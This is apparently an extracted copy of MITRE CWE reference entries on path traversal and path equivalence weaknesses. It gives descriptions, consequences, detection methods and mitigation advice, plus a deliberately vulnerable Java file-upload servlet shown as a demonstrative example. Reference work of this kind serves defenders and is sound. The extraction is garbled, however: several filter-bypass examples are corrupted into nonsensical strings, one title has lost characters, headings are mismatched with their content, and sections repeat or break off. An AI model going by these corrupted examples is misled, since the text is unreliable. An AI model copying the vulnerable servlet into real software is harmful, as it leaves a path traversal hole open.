Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the "../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes "./" sequences and symbolic links (CWE-23, CWE-59). This includes:
realpath() in C
getCanonicalPath() in Java
GetFullPath() in ASP.NET
realpath() or abs_path() in Perl
realpath() in PHP

CWE-24: Path Traversal: '../filedir'

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

CWE-27: Path Traversal: 'dir/..../filename'

Weakness ID: 27 (Weakness Variant)  Status: Draft

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "." sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
CWE Version 2.11
CWE-27: Path Traversal: 'dir/../../filename'

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation
Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships
CWE-28: Path Traversal: '..\filedir'

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Potential Mitigations
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation.

However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation

CWE-29: Path Traversal: '\..\filename'

Weakness ID: 29 (Weakness Variant)  Status: Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading slash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "../" at the beginning of the input, so a "\..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

CWE-31: Path Traversal: 'dir\..ilename'

Weakness ID: 31 (Weakness Variant) Status: Draft

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..ilename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The ‘dir\..\..\filename’ manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "." sequence, so multiple ".." can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

CWE-32: Path Traversal: '...' (Triple Dot)

Weakness ID: 32 (Weakness Variant) Status: Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Maintenance Notes
This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts:
it is equivalent to "..\.." on Windows, or
it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of ".\" in a string (collapse of data into unsafe value, CWE-182).
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.

**Extended Description**
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Maintenance Notes
Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

CWE-34: Path Traversal: '....//'

Weakness ID: 34 (Weakness Variant) Status: Incomplete

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//'(doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.
**Extended Description**
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The `....//` manipulation is useful for bypassing some path traversal protection schemes. If `..` is filtered in a sequential fashion, as done by some regular expression engines, then `....//` can collapse into the `../` unsafe value (CWE-182). It could also be useful when `..` is removed, if the operating system treats `//` and `/` as equivalent.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Languages
  - All

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Detection Methods**
- **Automated Static Analysis - Source Code**
- **SOAR Partial**
  According to SOAR, the following detection techniques may be useful:
  - Cost effective for partial coverage:
    - Source code Weakness Analyzer
    - Context-configured Source Code Weakness Analyzer

- **Architecture / Design Review**
- **SOAR High**
  According to SOAR, the following detection techniques may be useful:
  - Highly cost effective:
    - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
    - Formal Methods / Correct-By-Construction

**Observed Examples**

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".../" sequences are removed from the "...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-35: Path Traversal: './...//'

Weakness ID: 35 (Weakness Variant) Status: Incomplete

Description
Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize './...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The ‘.../...///’ manipulation is useful for bypassing some path traversal protection schemes. If ".//" is filtered in a sequential fashion, as done by some regular expression engines, then "../...///" can collapse into the "../u" unsafe value (CWE-182). Removing the first ".//" yields ".//"," the second removal yields ".//.//". Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.

CWE-36: Absolute Path Traversal

Weakness ID: 36 (Weakness Base) Status: Draft

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Confidentiality
Availability

Execute unauthorized code or commands
The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity
Modify files or directories
The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality
Read files or directories
The attacker may be able to read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability
DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Demonstrative Examples

Example 1:
In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Java Example:

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 2:
The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

HTML Example:

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Java Example:

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf(\"\"), pLine.lastIndexOf("\"");
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.newLine();
                    }
                    bw.write(line);
                    bw.newLine();
                }
            }
        }
        ...
    }
}
```
As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

**Potential Mitigations**
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/.." sequences are removed from the "/.../" string in a sequential fashion, two instances of "/.." would be removed from the original string, but the remaining characters would still form the "/.." string.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
A software system that accepts input in the form of a backslash absolute path ('\ absolute \ pathname\here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Potential Mitigations
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".//" sequences are removed from the "../...//" string in a sequential fashion, two instances of ".//" would be removed from the original string, but the remaining characters would still form the ".//" string.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-41: Improper Resolution of Path Equivalence

Weakness ID: 41 (Weakness Base)  
Status: Incomplete

Description

Summary

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description
Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Access Control

**Read files or directories**

**Modify files or directories**

**Bypass protection mechanism**
An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer

**Manual Static Analysis - Source Code**

**SOAR High**
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

Weakness ID: 45 (Weakness Variant) Status: Incomplete

Description

Summary
A software system that accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

Weakness ID: 48 (Weakness Variant)  Status: Incomplete
Description
Summary
A software system that accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0293</td>
<td>Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.</td>
</tr>
<tr>
<td>CVE-2001-1567</td>
<td>&quot;+&quot; characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.</td>
</tr>
</tbody>
</table>

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>

<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

### CWE-50: Path Equivalence: '//multiple/leading/slash'

**Weakness ID:** 50 *(Weakness Variant)*

**Status:** Incomplete

**Description**

#### Summary

A software system that accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

CWE-52: Path Equivalence: '/multiple/trailing/slash/'

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1483</td>
<td>Read files with full pathname using multiple internal slash.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Taxonomy Mappings
- PLOVER: filedir* (asterisk / wildcard)
- Software Fault Patterns: SFP16 Path Traversal

CWE-57: Path Equivalence: 'fakedir/../realdir/filename'

Weakness ID: 57 (Weakness Variant) Status: Incomplete

Description
Summary
The software contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

Time of Introduction
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

Observed Examples
- Reference | Description
  - CVE-2000-0191 | application check access for restricted URL before canonicalization
  - CVE-2001-1152 | Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a //, or (4) URL-encoded characters.
  - CVE-2005-1366 | CGI source disclosure using "dirname/..cgi-bin"

Potential Mitigations
Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships
- Nature | Type | ID | Name                                      | Page |
  - ChildOf |      | 41 | Improper Resolution of Path Equivalence   | V    |

89
Theoretical Notes
This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID: 58 (Weakness Variant)  Status: Incomplete

Description

Summary
The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

Extended Description
On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Operating Systems
• Windows

Common Consequences

Confidentiality

Integrity

Read files or directories
Modify files or directories

Oberved Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0012</td>
<td>Multiple web servers allow restriction bypass using 8.3 names instead of long names</td>
</tr>
<tr>
<td>CVE-2001-0795</td>
<td>Source code disclosure using 8.3 file name.</td>
</tr>
<tr>
<td>CVE-2005-0471</td>
<td>Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.</td>
</tr>
</tbody>
</table>

Potential Mitigations

System Configuration
Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

References

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID: 59 (Weakness Base)  Status: Draft

Description

Summary
The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Alternate Terms

insecure temporary file
Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Operating Systems
- Windows (Sometimes)
- UNIX (Often)

Common Consequences

Confidentiality
Integrity
Access Control
Read files or directories
Modify files or directories
Bypass protection mechanism
An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

Other
Remote Execution: Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since an ".LNK" file can be uploaded like a normal file.

Likelihood of Exploit
Low to Medium

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
CWE Version 2.11
CWE-59: Improper Link Resolution Before File Access ('Link Following')

Manual Static Analysis - Binary / Bytecode

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Web Application Scanner
  Web Services Scanner
  Database Scanners

Static Analysis with manual results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Fuzz Tester
  Framework-based Fuzzer

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Focused Manual Spotcheck - Focused manual analysis of source
  Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Source code Weakness Analyzer
  Context-configured Source Code Weakness Analyzer

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Relationship Notes
Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.
Some potential factors are race conditions, permissions, and predictability.

Research Gaps
UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

Affected Resources
